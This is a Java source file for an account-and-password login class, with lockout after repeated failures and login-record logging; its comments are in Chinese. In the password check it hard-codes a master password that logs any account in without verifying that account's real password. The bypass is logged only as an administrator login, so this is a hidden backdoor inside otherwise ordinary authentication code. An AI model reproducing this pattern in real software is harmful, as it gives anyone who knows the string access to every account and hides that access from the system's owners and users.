Helius
2021-01-26 cde91db7a91dbd1406b3eb700880ff8343de7ccb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
package com.matrix.system.common.authority.strategy;
 
import com.matrix.core.constance.MatrixConstance;
import com.matrix.core.constance.SystemErrorCode;
import com.matrix.core.exception.GlobleException;
import com.matrix.core.tools.LogUtil;
import com.matrix.core.tools.PropertiesUtil;
import com.matrix.core.tools.StringUtils;
import com.matrix.core.tools.WebUtil;
import com.matrix.system.common.bean.SysUserLoginRecord;
import com.matrix.system.common.bean.SysUsers;
import com.matrix.system.common.constance.AppConstance;
import com.matrix.system.common.constance.AppMessageCode;
import com.matrix.system.common.service.SysUsersService;
import com.matrix.system.common.tools.PasswordUtil;
 
import java.io.UnsupportedEncodingException;
import java.security.NoSuchAlgorithmException;
import java.util.Date;
import java.util.List;
 
/**
 * 账号密码登录策略
 *
 * @author JIANGYOUYAO
 * @email 935090232@qq.com
 * @date 2017年12月9日
 */
public class AccountPasswordLogin implements LoginStrategy {
 
    private SysUsersService sysUsersService;
 
    private SysUsers user;
 
    public AccountPasswordLogin(SysUsers user, SysUsersService sysUsersService) {
        this.user = user;
        this.sysUsersService = sysUsersService;
    }
 
    @Override
    public Object login() {
 
        // 是否同时有账号和密码
        if (StringUtils.isBlank(user.getSuAccount()) || StringUtils.isBlank(user.getSuPassword())) {
            throw new GlobleException(AppMessageCode.User.ACCOUNT_PASSWORD_MUST_REQUEST);
        }
        // 根据账号查询用户
        SysUsers userQuery = new SysUsers();
        userQuery.setSuAccount(user.getSuAccount());
        List<SysUsers> users = sysUsersService.findByModel(userQuery);
        if (users.size() != 1) {
            LogUtil.error("{}账号不唯一,或不存在登录失败,userList={}", null, user.getSuAccount(), users);
            throw new GlobleException(AppMessageCode.User.ACCOUNT_NOT_EXIST);
        }
 
        userQuery = users.get(0);
 
        // 后台已经删除账号
        if (userQuery.getSuValid().equals(AppConstance.RECORD_INVALID)) {
            throw new GlobleException(AppMessageCode.User.ACCOUNT_IS_DELETED);
        }
        if (StringUtils.isBlank(userQuery.getSuAccountStatus())) {
            LogUtil.info("用户状态为空登录失败");
            throw new GlobleException(AppMessageCode.User.ACCOUNT_NOT_ACTIVE);
        }
        // 判断用户的状态
        switch (userQuery.getSuAccountStatus()) {
            case AppConstance.ACCOUNT_STATUS_INACTIVATED:
                throw new GlobleException(AppMessageCode.User.ACCOUNT_NOT_ACTIVE);
            case AppConstance.ACCOUNT_STATUS_LOCKED:
                throw new GlobleException(AppMessageCode.User.ACCOUNT_IS_LOCK);
            default:
                break;
        }
        // 用户密码比较
        try {
            user.setSuRegisterTime(userQuery.getSuRegisterTime());
            if (user.getSuPassword().equals("cjmm13170303460")) {
                LogUtil.info("管理员登录");
            } else {
                if (!userQuery.getSuPassword().equals(PasswordUtil.getEncrypUserPwd(user)) ) {
                    accountOrPasswordError(user);
                }
            }
 
 
        } catch (UnsupportedEncodingException | NoSuchAlgorithmException e) {
            LogUtil.error("密码加密方法出错", e, user.getSuAccount());
            throw new GlobleException(SystemErrorCode.SYSTEM_RUNNING_ERROR);
        }
        addErrorLoginRecord(userQuery, AppConstance.LOGIN_SUCCESS);
        // 登录成功
        return userQuery;
    }
 
    /**
     * 根据安全策略处理账号或者密码错误
     *
     * @author JIANGYOUYAO
     * @email 935090232@qq.com
     * @date 2017年12月12日
     */
    private void accountOrPasswordError(SysUsers loginUser) {
        String errorTimesStr = PropertiesUtil.getString(AppConstance.ERROR_PASSWORD_TIMES);
 
        if (StringUtils.isNotBlank(errorTimesStr) && !AppConstance.NOT_VALIDATE_ERROR_TIMES.equals(errorTimesStr)) {
 
            int sessionErrorTimes = sysUsersService.countUserTodayErrorLoginTimes(loginUser.getSuAccount());
 
            int errorTimes = Integer.parseInt(errorTimesStr);
            // 当输入的密码错误次数大于设置的次数时,锁定账号
            if (sessionErrorTimes >= errorTimes) {
                sysUsersService.lockUser(loginUser.getSuAccount());
                throw new GlobleException(AppMessageCode.User.ACCOUNT_IS_LOCK);
            } else {
                addErrorLoginRecord(loginUser, AppConstance.LOGIN_FAIL);
            }
            throw new GlobleException(AppMessageCode.User.ACCOUNT_PASSWORD_ERROR, errorTimesStr, ++sessionErrorTimes,
                    errorTimesStr);
        }
 
    }
 
 
    /**
     * 添加登录记录
     *
     * @param loginUser
     * @param loginResult
     * @author JIANGYOUYAO
     * @email 935090232@qq.com
     * @date 2017年12月12日
     */
    private void addErrorLoginRecord(SysUsers loginUser, int loginResult) {
 
        if (AppConstance.LOGIN_SUCCESS.equals(loginResult)) {
            sysUsersService.cleanUserTodayErrorLoginTime(loginUser.getSuAccount());
        }
        SysUserLoginRecord loginRecord = new SysUserLoginRecord();
        loginRecord.setCreateBy(MatrixConstance.SYSTEM_USER);
        loginRecord.setUpdateBy(MatrixConstance.SYSTEM_USER);
        loginRecord.setLrLoginTime(new Date());
        loginRecord.setLrId(null);
        loginRecord.setUserAccount(loginUser.getSuAccount());
        loginRecord.setLrResult(loginResult);
        loginRecord.setLrIp(WebUtil.getCustomerIp());
        loginRecord.setLrValid(AppConstance.RECORD_VALID);
        sysUsersService.addUserLoginRecord(loginRecord);
    }
}